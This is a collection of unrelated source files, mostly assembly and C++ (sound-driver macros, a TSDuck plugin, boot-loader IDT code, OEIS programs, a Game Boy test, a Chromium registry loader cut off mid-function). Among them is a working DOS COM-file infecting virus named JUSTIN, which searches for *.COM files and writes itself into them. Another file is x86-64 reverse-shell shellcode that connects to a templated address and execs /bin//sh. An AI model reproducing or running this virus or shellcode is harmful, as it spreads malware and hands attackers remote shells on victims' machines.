; ---------------------------------------------------------------------------
phase $80
fEnd ds.l 1 ; 80 - Do nothing
fStop ds.l 1 ; 84 - Stop all music
fResVol ds.l 1 ; 88 - Reset volume and update
fReset ds.l 1 ; 8C - Stop music playing and reset volume
fLast = * ; safe mode equate
; ===========================================================================
; ---------------------------------------------------------------------------
; Quickly clear some memory in certain block sizes
;
; input:
; a4 - Destination address
; len - Length of clear
; block - Size of clear block
;
; thrashes:
; d6 - Set to $xxxxFFFF
; a4 - Destination address
; ---------------------------------------------------------------------------
dCLEAR_MEM macro len, block
move.w #((len)/(block))-1,d6; load repeat count to d6
.loop
rept (block)/4
clr.l (a4)+ ; clear driver and music channel memory
endm
dbf d6, .loop ; loop for each longword to clear it
rept ((len)#(block))/4
clr.l (a4)+ ; clear extra longs of memory
endm
if (len)&2
clr.w (a4)+ ; if there is an extra word, clear it too
endif
endm
; ===========================================================================
; ---------------------------------------------------------------------------
; Quickly read a word from odd address. 28 cycles
; ---------------------------------------------------------------------------
dREAD_WORD macro areg, dreg
move.b (areg)+,(sp) ; read the next byte into stack
move.w (sp),dreg ; get word back from stack (shift byte by 8 bits)
move.b (areg)+,dreg ; get the next byte into register
endm
; ===========================================================================
; ---------------------------------------------------------------------------
; Used to calculate the address of the FM voice bank
;
; input:
; a1 - Channel address
; output:
; a4 - Voice table address
; ---------------------------------------------------------------------------
dCALC_BANK macro off
lea VoiceBank+off(pc),a4 ; load sound effects voice table into a6
cmp.w #mSFXDAC1,a1 ; check if this is a SFX channel
bhs.s .bank ; if so, branch
move.l mVctMus.w,a4 ; load music voice table into a1
if off<>0
add.w #off,a4 ; add offset into a1
endif
.bank
endm
; ===========================================================================
; ---------------------------------------------------------------------------
; Used to calculate the address of the FM voice
;
; input:
; d4 - Voice ID
; a4 - Voice table address
; output:
; a4 - Voice address
; ---------------------------------------------------------------------------
dCALC_VOICE macro off
lsl.w #5,d4 ; multiply voice ID by $20
if "off"<>""
add.w #off,d4 ; if have had extra argument, add it to offset
endif
add.w d4,a4 ; add offset to voice table address
endm
; ===========================================================================
; ---------------------------------------------------------------------------
; Tells the Z80 to stop, and waits for it to finish stopping
; ---------------------------------------------------------------------------
stopZ80 macro
move.w #$100,$A11100 ; stop the Z80
.loop
btst #0,$A11100
bne.s .loop ; loop until it says it's stopped
endm
; ===========================================================================
; ---------------------------------------------------------------------------
; Tells the Z80 to start again
; ---------------------------------------------------------------------------
startZ80 macro
move.w #0,$A11100 ; start the Z80
endm
; ===========================================================================
; ---------------------------------------------------------------------------
; Initializes YM writes
;
; output:
; d6 - YM part
; d5 - channel type
; ---------------------------------------------------------------------------
InitChYM macro
move.b cType(a1),d6 ; get channel type to d6
move.b d6,d5 ; copy to d5
and.b #3,d5 ; get only the important part
lsr.b #1,d6 ; halve part value
and.b #2,d6 ; clear extra bits away
endm
; ===========================================================================
; ---------------------------------------------------------------------------
; Write data to channel-specific YM part
;
; input:
; d6 - YM part
; d5 - channel type
; reg - YM register to write
; value - value to write
;
; thrashes:
; d4 - used for register calculation
; ---------------------------------------------------------------------------
WriteChYM macro reg, value
move.b d6,(a0)+ ; write part
move.b value,(a0)+ ; write register value to cue
move.b d5,d4 ; get the channel offset into d4
or.b reg,d4 ; or the actual register value
move.b d4,(a0)+ ; write register to cue
endm
; ===========================================================================
; ---------------------------------------------------------------------------
; Write data to YM part 1
; ---------------------------------------------------------------------------
WriteYM1 macro reg, value
clr.b (a0)+ ; write to part 1
move.b value,(a0)+ ; write value to cue
move.b reg,(a0)+ ; write register to cue
endm
; ===========================================================================
; ---------------------------------------------------------------------------
; Write data to YM part 2
; ---------------------------------------------------------------------------
WriteYM2 macro reg, value
move.b #2,(a0)+ ; write to part 2
move.b value,(a0)+ ; write value to cue
move.b reg,(a0)+ ; write register to cue
endm
; ===========================================================================
; ---------------------------------------------------------------------------
; Macro to check cue address
; ---------------------------------------------------------------------------
CheckCue macro
if safe=1
AMPS_Debug_CuePtr Gen ; check if cue pointer is valid
endif
endm
; ===========================================================================
; ---------------------------------------------------------------------------
; Macro for pausing music
; ---------------------------------------------------------------------------
AMPS_MUSPAUSE macro ; enable request pause and paused flags
move.b #Mus_Pause,mQueue+2.w
endm
; ===========================================================================
; ---------------------------------------------------------------------------
; Macro for unpausing music
; ---------------------------------------------------------------------------
AMPS_MUSUNPAUSE macro ; enable request unpause flag
move.b #Mus_Unpause,mQueue+2.w
endm
; ===========================================================================
; ---------------------------------------------------------------------------
; Create volume envelope table, and SMPS2ASM equates
; ---------------------------------------------------------------------------
volenv macro name
if "name"<>""
v{"name"} = __venv ; create SMPS2ASM equate
dc.l vd{"name"} ; create pointer
__venv := __venv+1 ; increase ID
shift ; shift next argument into view
volenv ALLARGS ; process next item
endif
endm
; ===========================================================================
; ---------------------------------------------------------------------------
; Create modulation envelope table, and SMPS2ASM equates
; ---------------------------------------------------------------------------
modenv macro name
if "name"<>"" ; repeate for all arguments
m{"name"} = __menv ; create SMPS2ASM equate
if FEATURE_MODENV
dc.l md{"name"} ; create pointer
endif
__menv := __menv+1 ; increase ID
shift ; shift next argument into view
modenv ALLARGS ; process next item
endif
endm
; ===========================================================================
; ---------------------------------------------------------------------------
; Include PCM data file
; ---------------------------------------------------------------------------
incSWF macro file
if "file"<>"" ; repeat for all arguments
SWF_file equ *
binclude "AMPS/DAC/incswf/file.swf"; include PCM data
SWFR_file equ *
asdata Z80E_Read*(MaxPitch/$100), $00; add end markers (for Dual PCM)
shift ; shift next argument into view
incSWF ALLARGS ; process next item
endif
endm
; ===========================================================================
; ---------------------------------------------------------------------------
; Create pointers for a sample
; ---------------------------------------------------------------------------
sample macro freq, start, loop, name
if "name"<>"" ; if we have 4 arguments, we'd like a custom name
d{"name"} = __samp ; use the extra argument to create SMPS2ASM equate
else
d{"start"} = __samp ; else, use the first one!
endif
__samp := __samp+1 ; increase sample ID
; create offsets for the sample normal, reverse, loop normal, loop reverse.
if ("start"="Stop")|("start"="STOP")|("start"="stop")
dc.b [6] 0
else
dc.b SWF_start&$FF,((SWF_start>>$08)&$7F)|$80,(SWF_start>>$0F)&$FF
dc.b (SWFR_start-1)&$FF,(((SWFR_start-1)>>$08)&$7F)|$80,((SWFR_start-1)>>$0F)&$FF
endif
if ("loop"="Stop")|("loop"="STOP")|("loop"="stop")
dc.b [6] 0
else
dc.b SWF_loop&$FF,((SWF_loop>>$08)&$7F)|$80, (SWF_loop>>$0F)&$FF
dc.b (SWFR_loop-1)&$FF,(((SWFR_loop-1)>>$08)&$7F)|$80,((SWFR_loop-1)>>$0F)&$FF
endif
dc.w freq-$100 ; sample frequency (actually offset, so we remove $100)
dc.w 0 ; unused!
endm
; ===========================================================================
; ---------------------------------------------------------------------------
; Workaround the ASS bug where you ca only put 1024 bytes per line of code
; ---------------------------------------------------------------------------
asdata macro count, byte
.c := (count)
while .c > $400
dc.b [$400] byte
.c := .c - $400
endm
if .c > 0
dc.b [.c] byte
endif
endm
; ---------------------------------------------------------------------------
!org 0
phase 0
|
//----------------------------------------------------------------------------
//
// TSDuck - The MPEG Transport Stream Toolkit
// Copyright (c) 2005-2021, Thierry Lelegard
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
// THE POSSIBILITY OF SUCH DAMAGE.
//
//----------------------------------------------------------------------------
#include "tsFilePacketPlugin.h"
#include "tsPluginRepository.h"
TS_REGISTER_PROCESSOR_PLUGIN(u"file", ts::FilePacketPlugin);
// A dummy storage value to force inclusion of this module when using the static library.
const int ts::FilePacketPlugin::REFERENCE = 0;
//----------------------------------------------------------------------------
// Packet processor constructor
//----------------------------------------------------------------------------
ts::FilePacketPlugin::FilePacketPlugin(TSP* tsp_) :
ProcessorPlugin(tsp_, u"Write packets to a file and pass them to next plugin", u"[options] file-name"),
_name(),
_flags(TSFile::NONE),
_file_format(TSPacketFormat::TS),
_start_stuffing(0),
_stop_stuffing(0),
_file()
{
option(u"", 0, STRING, 1, 1);
help(u"", u"Name of the created output file.");
option(u"add-start-stuffing", 0, UNSIGNED);
help(u"add-start-stuffing", u"count",
u"Specify that <count> null TS packets must be automatically inserted "
u"at the start of the output file, before what comes from the previous plugins.");
option(u"add-stop-stuffing", 0, UNSIGNED);
help(u"add-stop-stuffing", u"count",
u"Specify that <count> null TS packets must be automatically appended "
u"at the end of the output file, after what comes from the previous plugins.");
option(u"append", 'a');
help(u"append", u"If the file already exists, append to the end of the file. By default, existing files are overwritten.");
option(u"format", 0, TSPacketFormatEnum);
help(u"format", u"name",
u"Specify the format of the created file. "
u"By default, the format is a standard TS file.");
option(u"keep", 'k');
help(u"keep", u"Keep existing file (abort if the specified file already exists). By default, existing files are overwritten.");
}
//----------------------------------------------------------------------------
// Packet processor plugin methods
//----------------------------------------------------------------------------
bool ts::FilePacketPlugin::getOptions()
{
getValue(_name);
getIntValue(_file_format, u"format", TSPacketFormat::TS);
getIntValue(_start_stuffing, u"add-start-stuffing", 0);
getIntValue(_stop_stuffing, u"add-stop-stuffing", 0);
_flags = TSFile::WRITE | TSFile::SHARED;
if (present(u"append")) {
_flags |= TSFile::APPEND;
}
if (present(u"keep")) {
_flags |= TSFile::KEEP;
}
return true;
}
bool ts::FilePacketPlugin::start()
{
_file.setStuffing(_start_stuffing, _stop_stuffing);
return _file.open(_name, _flags, *tsp, _file_format);
}
bool ts::FilePacketPlugin::stop()
{
return _file.close(*tsp);
}
ts::ProcessorPlugin::Status ts::FilePacketPlugin::processPacket(TSPacket& pkt, TSPacketMetadata& pkt_data)
{
return _file.writePackets(&pkt, &pkt_data, 1, *tsp) ? TSP_OK : TSP_END;
}
|
.model small
.code
org 100h
JUSTIN:
call CHECK_MEMORY
jc GOTO_HOST_LOW
call JUMP_HIGH
call FIND_FILE
jc GOTO_HOST_HIGH
call INFECT_FILE
GOTO_HOST_HIGH:
mov di,100h
mov si, offset HOST
mov ax,ss
mov ds,ax
mov es,ax
push ax
push di
mov cx,sp
sub cx,offset HOST
rep movsb
retf
GOTO_HOST_LOW:
mov ax,100h
push ax
mov ax,sp
sub ax,6
push ax
mov ax,000C3h
push ax
mov ax,0A4F3h
push ax
mov si,offset HOST
mov di,100h
mov cx,sp
sub cx,offset HOST
cli
add sp,4
ret
CHECK_MEMORY:
mov ah,4ah
mov bx,2000h
int 21h
pushf
mov ah,4ah
mov bx,0ffffh
int 21h
mov ah,4ah
int 21h
popf
ret
JUMP_HIGH:
mov ax,ds
add ax,1000h
mov es,ax
mov si,100h
mov di,si
mov cx,offset HOST - 100h
rep movsb
mov ds,ax
mov ah,1ah
mov dx,80h
int 21h
pop ax
push es
push ax
retf
FIND_FILE:
mov dx,offset COM_MASK
mov ah,4eh
xor cx,cx
FIND_LOOP:
int 21h
jc FIND_EXIT
call FILE_OK
jc FIND_NEXT
FIND_EXIT:
ret
FIND_NEXT:
mov ah,4fh
jmp FIND_LOOP
COM_MASK DB '*.COM',0
FILE_OK:
mov dx,9eh
mov ax,3D02h
int 21h
jc FOK_EXIT_C
mov bx,ax
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
jc FOK_EXIT_CCF
or dx,dx
jnz FOK_EXIT_CCF
mov cx,ax
add ax,offset HOST
cmp ax,0ff00h
jnc FOK_EXIT_CCF
push cx
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
pop cx
push cx
mov ah,3fh
mov dx,offset host
int 21h
pop dx
jc FOK_EXIT_CCF
mov si,100h
mov di,offset HOST
mov cx,10
repz cmpsw
jz FOK_EXIT_CCF
cmp WORD PTR cs:[HOST],'ZM'
jz FOK_EXIT_CCF
clc
ret
FOK_EXIT_CCF:
mov ah,3eh
int 21h
FOK_EXIT_C:
stc
ret
INFECT_FILE:
push dx
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
pop cx
add cx,OFFSET HOST-100h
mov dx,100h
mov ah,40h
int 21h
mov ah,3eh
int 21h
ret
HOST:
mov ax,4c00h
int 21h
END JUSTIN
|
extern exit ; the C function, to be called
extern puts ; the C function, to be called
SECTION .data
hello: db 'Hello world!', 0
SECTION .text
GLOBAL _start
_start:
mov edi, hello
call puts ; Call C function
mov edi, 0
call exit ; Call C function
|
;++
;
; Copyright (c) Microsoft Corporation
;
; Module Name:
;
; blidt.asm
;
; Abstract:
;
; This module implements IDT functions for the boot loader.
;
; Environment:
;
; Boot loader.
;
;--
include bl.inc
.686p
.model flat
.code
assume ds:flat
assume es:flat
assume ss:flat
assume fs:flat
extrn ?BlTrapFatal@@YIXKPAU_BL_TRAP_CONTEXT@@@Z:near
;++
;
; VOID
; BlTrapEnter(
; VOID
; )
;
; Routine Description:
;
; Entry point for incoming exceptions.
;
;--
align 16
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;
;;; The IDT_ENTER building macros insure that each IDT target has
;;; an offset of form BlTrapEnter + 0x10 * interrupt_number.
;;;
IDT_ENTER_NOERR MACRO num:req
push 77h ; No error
call @f
align 8
ENDM
IDT_ENTER_ERR MACRO num:req
call @f
align 8
ENDM
align 16
?BlTrapEnter@@YIXXZ proc
IDT_ENTER_NOERR 000h ; #DE Divide-by-Zero
IDT_ENTER_NOERR 001h ; #DB Debug Exception
IDT_ENTER_NOERR 002h ; NMI Non-Maskable-Interrupt
IDT_ENTER_NOERR 003h ; #BP Breakpoint
IDT_ENTER_NOERR 004h ; #OF OVerflow
IDT_ENTER_NOERR 005h ; #BR Bound-Range
IDT_ENTER_NOERR 006h ; #UD Invalid Opcode
IDT_ENTER_NOERR 007h ; #NM Device Not Available
IDT_ENTER_ERR 008h ; #DF Double Fault
IDT_ENTER_NOERR 009h ; Unused (was x87 segment except)
IDT_ENTER_ERR 00ah ; #TS Invalid TSS
IDT_ENTER_ERR 00bh ; #NP Sgement Not Present
IDT_ENTER_ERR 00ch ; #SS Stack Exception
IDT_ENTER_ERR 00dh ; #GP General Protection
IDT_ENTER_ERR 00eh ; #PF Page Fault
IDT_ENTER_NOERR 00fh ; Reserved
IDT_ENTER_NOERR 010h ; #MF x87 Math Error
IDT_ENTER_ERR 011h ; #AC Alignment Check
IDT_ENTER_NOERR 012h ; #MC Machine Check
IDT_ENTER_NOERR 013h ; #XF SIMD Exception
inum = 014h ; 014h to 020h
WHILE inum LE 020h
IDT_ENTER_NOERR inum
inum = inum + 1
ENDM
@@:
push eax
push ebx
push ecx
push edx
push esi
push edi
push ebp
mov eax, esp
add eax, 48
push eax
mov eax, cr2
push eax
mov edx, esp
mov ecx, [edx].BL_TRAP_CONTEXT.TrapNum
sub ecx, ?BlTrapEnter@@YIXXZ
shr ecx, 3
mov [edx].BL_TRAP_CONTEXT.TrapNum, ecx
call ?BlTrapFatal@@YIXKPAU_BL_TRAP_CONTEXT@@@Z
@@:
jmp @b
?BlTrapEnter@@YIXXZ endp
;++
;
; VOID
; FASTCALL
; BlTrapSetIdtr(
; PIDTR Idtr
; )
;
; Routine Description:
;
; This function sets the IDTR register.
;
; Arguments:
;
; Idtr - Supplies the data to write to the IDTR register.
;
;--
?BlTrapSetIdtr@@YIXPAU_IDTR@@@Z proc
lidt fword ptr [ecx]
ret
?BlTrapSetIdtr@@YIXPAU_IDTR@@@Z endp
end
|
; A130256: Minimal index k of an odd Fibonacci number A001519 such that A001519(k) = Fibonacci(2*k-1) >= n (the 'upper' odd Fibonacci Inverse).
; 0,0,2,3,3,3,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8
lpb $0
pow $2,0
mov $1,$2
add $3,1
add $1,$3
cal $0,189663 ; Partial sums of A189661.
lpe
|
#include <iostream>
#include "oatpp-swagger/Types.hpp"
int main() {
oatpp::swagger::Binary binary;
return 0;
}
|
socket:
push byte 41 ;
pop rax ;
cdq ;
push byte 2 ;
pop rdi ;
push byte 1 ;
pop rsi ;
syscall ;
connect: ;
xchg eax, edi ;
mov al, 42 ;
mov rcx, {{ .Address }} ;
neg rcx ;
push rcx ;
push rsp ;
pop rsi ;
mov dl, 16 ;
syscall ;
dup2: ;
push byte 3 ;
pop rsi ;
dup2_loop: ;
mov al, 33 ;
dec esi ;
syscall ;
jnz dup2_loop ;
execve: ;
cdq ;
mov al, 59 ;
push rdx ;
mov rcx, 0x68732f2f6e69622f ;
push rcx ;
push rsp ;
pop rdi ;
syscall ; |
; A188530: 2^(2n+1)-5*2^(n-1)-1.
; 2,21,107,471,1967,8031,32447,130431,523007,2094591,8383487,33544191,134197247,536829951,2147401727,8589770751,34359410687,137438298111,549754503167,2199020634111
mov $1,2
pow $1,$0
mov $0,3
sub $1,1
mul $1,2
mov $3,$1
mul $3,3
add $3,6
add $0,$3
mul $1,2
mov $2,$1
mov $4,1
mul $4,$1
add $0,$4
add $2,3
mul $2,$1
mov $1,$0
add $1,$2
add $1,7
div $1,2
sub $1,6
|
; A283650: Decimal representation of the x-axis, from the left edge to the origin, of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 705", based on the 5-celled von Neumann neighborhood.
; 1,0,7,13,28,61,124,253,508,1021,2044,4093,8188,16381,32764,65533,131068,262141,524284,1048573,2097148,4194301,8388604,16777213,33554428,67108861,134217724,268435453,536870908,1073741821,2147483644,4294967293,8589934588,17179869181,34359738364,68719476733,137438953468,274877906941,549755813884,1099511627773,2199023255548,4398046511101,8796093022204,17592186044413,35184372088828,70368744177661,140737488355324,281474976710653,562949953421308,1125899906842621,2251799813685244,4503599627370493,9007199254740988,18014398509481981,36028797018963964,72057594037927933,144115188075855868,288230376151711741,576460752303423484,1152921504606846973,2305843009213693948,4611686018427387901,9223372036854775804,18446744073709551613,36893488147419103228,73786976294838206461,147573952589676412924,295147905179352825853,590295810358705651708,1180591620717411303421,2361183241434822606844,4722366482869645213693,9444732965739290427388,18889465931478580854781,37778931862957161709564,75557863725914323419133,151115727451828646838268,302231454903657293676541,604462909807314587353084,1208925819614629174706173,2417851639229258349412348,4835703278458516698824701,9671406556917033397649404,19342813113834066795298813,38685626227668133590597628,77371252455336267181195261,154742504910672534362390524,309485009821345068724781053,618970019642690137449562108,1237940039285380274899124221,2475880078570760549798248444,4951760157141521099596496893,9903520314283042199192993788,19807040628566084398385987581,39614081257132168796771975164,79228162514264337593543950333,158456325028528675187087900668,316912650057057350374175801341,633825300114114700748351602684,1267650600228229401496703205373
mov $1,$0
seq $0,284237 ; Decimal representation of the x-axis, from the left edge to the origin, of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 833", based on the 5-celled von Neumann neighborhood.
sub $0,1
mul $1,2
min $1,3
bin $1,2
mul $0,$1
add $0,1
|
.size 8000
.text@48
jp lstatint
.text@100
jp lbegin
.data@143
80
.text@150
lbegin:
ld a, ff
ldff(45), a
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
ld hl, fea0
lbegin_fill_oam:
dec l
ld(hl), a
jrnz lbegin_fill_oam
ld d, 10
ld a, d
ld(hl), a
inc l
ld a, 08
ld(hl), a
inc l
inc l
inc l
ld a, d
ld(hl), a
inc l
ld(hl), a
inc l
inc l
inc l
ld(hl), a
inc l
ld a, 18
ld(hl), a
inc l
inc l
inc l
ld a, d
ld(hl), a
inc l
ld a, 20
ld(hl), a
inc l
inc l
inc l
ld a, d
ld(hl), a
inc l
ld a, 28
ld(hl), a
inc l
inc l
inc l
ld a, d
ld(hl), a
inc l
ld a, 30
ld(hl), a
inc l
inc l
inc l
ld a, d
ld(hl), a
inc l
ld a, 38
ld(hl), a
inc l
inc l
inc l
ld a, d
ld(hl), a
inc l
ld a, 40
ld(hl), a
inc l
inc l
inc l
ld a, d
ld(hl), a
inc l
ld a, 48
ld(hl), a
inc l
inc l
inc l
ld a, d
ld(hl), a
inc l
ld a, 50
ld(hl), a
inc l
ld a, 40
ldff(41), a
ld a, 02
ldff(ff), a
xor a, a
ldff(0f), a
ei
ld a, 01
ldff(45), a
ld c, 41
ld a, 93
ldff(40), a
.text@1000
lstatint:
nop
.text@104f
ldff a, (c)
and a, 03
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
pop af
ld(9800), a
ld bc, 7a00
ld hl, 8000
ld d, a0
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
|
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/extensions/external_registry_loader_win.h"
#include <memory>
#include <utility>
#include "base/bind.h"
#include "base/files/file_path.h"
#include "base/files/file_util.h"
#include "base/files/scoped_file.h"
#include "base/metrics/histogram_macros.h"
#include "base/sequenced_task_runner.h"
#include "base/strings/string_util.h"
#include "base/strings/stringprintf.h"
#include "base/strings/utf_string_conversions.h"
#include "base/task/thread_pool.h"
#include "base/time/time.h"
#include "base/values.h"
#include "base/version.h"
#include "base/win/registry.h"
#include "chrome/browser/extensions/external_provider_impl.h"
#include "components/crx_file/id_util.h"
#include "content/public/browser/browser_task_traits.h"
#include "content/public/browser/browser_thread.h"
using content::BrowserThread;
namespace {
// The Registry subkey that contains information about external extensions.
const base::char16 kRegistryExtensions[] =
L"Software\\Google\\Chrome\\Extensions";
// Registry value of the key that defines the installation parameter.
const base::char16 kRegistryExtensionInstallParam[] = L"install_parameter";
// Registry value of the key that defines the path to the .crx file.
const base::char16 kRegistryExtensionPath[] = L"path";
// Registry value of that key that defines the current version of the .crx file.
const base::char16 kRegistryExtensionVersion[] = L"version";
// Registry value of the key that defines an external update URL.
const base::char16 kRegistryExtensionUpdateUrl[] = L"update_url";
bool CanOpenFileForReading(const base::FilePath& path) {
// Note: Because this ScopedFILE is used on the stack and not passed around
// threads/sequences, this method doesn't require callers to run on tasks with
// BLOCK_SHUTDOWN. SKIP_ON_SHUTDOWN is enough and safe because it guarantees
// that if a task starts, it will always finish, and will block shutdown at
// that point.
base::ScopedFILE file_handle(base::OpenFile(path, "rb"));
return file_handle.get() != NULL;
}
std::string MakePrefName(const std::string& extension_id,
const std::string& pref_name) {
return base::StringPrintf("%s.%s", extension_id.c_str(), pref_name.c_str());
}
} // namespace
namespace extensions {
ExternalRegistryLoader::ExternalRegistryLoader()
: attempted_watching_registry_(false) {}
ExternalRegistryLoader::~ExternalRegistryLoader() {}
void ExternalRegistryLoader::StartLoading() {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
GetOrCreateTaskRunner()->PostTask(
FROM_HERE,
base::BindOnce(&ExternalRegistryLoader::LoadOnBlockingThread, this));
}
std::unique_ptr<base::DictionaryValue>
ExternalRegistryLoader::LoadPrefsOnBlockingThread() {
auto prefs = std::make_unique<base::DictionaryValue>();
// A map of IDs, to weed out duplicates between HKCU and HKLM.
std::set<base::string16> keys;
base::win::RegistryKeyIterator iterator_machine_key(
HKEY_LOCAL_MACHINE,
kRegistryExtensions,
KEY_WOW64_32KEY);
for (; iterator_machine_key.Valid(); ++iterator_machine_key)
keys.insert(iterator_machine_key.Name());
base::win::RegistryKeyIterator iterator_user_key(
HKEY_CURRENT_USER, kRegistryExtensions);
for (; iterator_user_key.Valid(); ++iterator_user_key)
keys.insert(iterator_user_key.Name());
// Iterate over the keys found, first trying HKLM, then HKCU, as per Windows
// policy conventions. We only fall back to HKCU if the HKLM key cannot be
// opened, not if the data within the key is invalid, for example.
for (std::set<base::string16>::const_iterator it = keys.begin();
it != keys.end(); ++it) {
base::win::RegKey key;
base::string16 key_path = kRegistryExtensions;
key_path.append(L"\\");
key_path.append(*it);
if (key.Open(HKEY_LOCAL_MACHINE,
key_path.c_str(),
KEY_READ | KEY_WOW64_32KEY) != ERROR_SUCCESS &&
key.Open(HKEY_CURRENT_USER, key_path.c_str(), KEY_READ) !=
ERROR_SUCCESS) {
LOG(ERROR) << "Unable to read registry key at path (HKLM & HKCU): "
<< key_path << ".";
continue;
}
std::string id = base::ToLowerASCII(base::UTF16ToASCII(*it));
if (!crx_file::id_util::IdIsValid(id)) {
LOG(ERROR) << "Invalid id value " << id
<< " for key " << key_path << ".";
continue;
}
base::string16 extension_dist_id;
if (key.ReadValue(kRegistryExtensionInstallParam, &extension_dist_id) ==
ERROR_SUCCESS) {
prefs->SetString(MakePrefName(id, ExternalProviderImpl::kInstallParam),
base::UTF16ToASCII(extension_dist_id));
}
// If there is an update URL present, copy it to prefs and ignore
// path and version keys for this entry.
base::string16 extension_update_url;
if (key.ReadValue(kRegistryExtensionUpdateUrl, &extension_update_url)
== ERROR_SUCCESS) {
prefs->SetString(
MakePrefName(id, ExternalProviderImpl::kExternalUpdateUrl),
base::UTF16ToASCII(extension_update_url));
continue;
}
base::string16 extension_path_str;
if (key.ReadValue(kRegistryExtensionPath, &extension_path_str)
!= ERROR_SUCCESS) {
// TODO(erikkay): find a way to get this into about:extensions
LOG(ERROR) << "Missing value " << kRegistryExtensionPath
<< " for key " << key_path << ".";
continue;
}
base::FilePath extension_path(extension_path_str);
if (!extension_path.IsAbsolute()) {
LOG(ERROR) << "File path " << extension_path_str
<< " needs to be absolute in key "
<< key_path;
continue;
}
if (!base::PathExists(extension_path)) {
LOG(ERROR) << "File " << extension_path_str
<< " for key " << key_path
<< " does not exist or is not readable.";
continue;
}
if (!CanOpenFileForReading(extension_path)) {
LOG(ERROR) << "File " << extension_path_str
<< " for key " << key_path << " can not be read. "
<< "Check that users who should have the extension "
<< "installed have permission to read it.";
continue;
}
base::string16 extension_version;
if (key.ReadValue(kRegistryExtensionVersion, &extension_version)
!= ERROR_SUCCESS) {
// TODO(erikkay): find a way to get this into about:extensions
LOG(ERROR) << "Missing value " << kRegistryExtensionVersion
<< " for key " << key_path << ".";
continue;
}
base::Version version(base::UTF16ToASCII(extension_version));
if (!version.IsValid()) {
LOG(ERROR) << "Invalid version value " << extension_version
<< " for key " << key_path << ".";
continue;
}
prefs->SetString(
MakePrefName(id, ExternalProviderImpl::kExternalVersion),
base::UTF16ToASCII(extension_version));
prefs->SetString(
MakePrefName(id, ExternalProviderImpl::kExternalCrx),
extension_path_str);
prefs->SetBoolean(
MakePrefName(id, ExternalProviderImpl::kMayBeUntrusted),
true);
}
return prefs;
}
void ExternalRegistryLoader::LoadOnBlockingThread() {
DCHECK(task_runner_);
DCHECK(task_runner_->RunsTasksInCurrentSequence());
base::TimeTicks start_time = base::TimeTicks::Now();
std::unique_ptr<base::DictionaryValue> prefs = LoadPrefsOnBlockingThread();
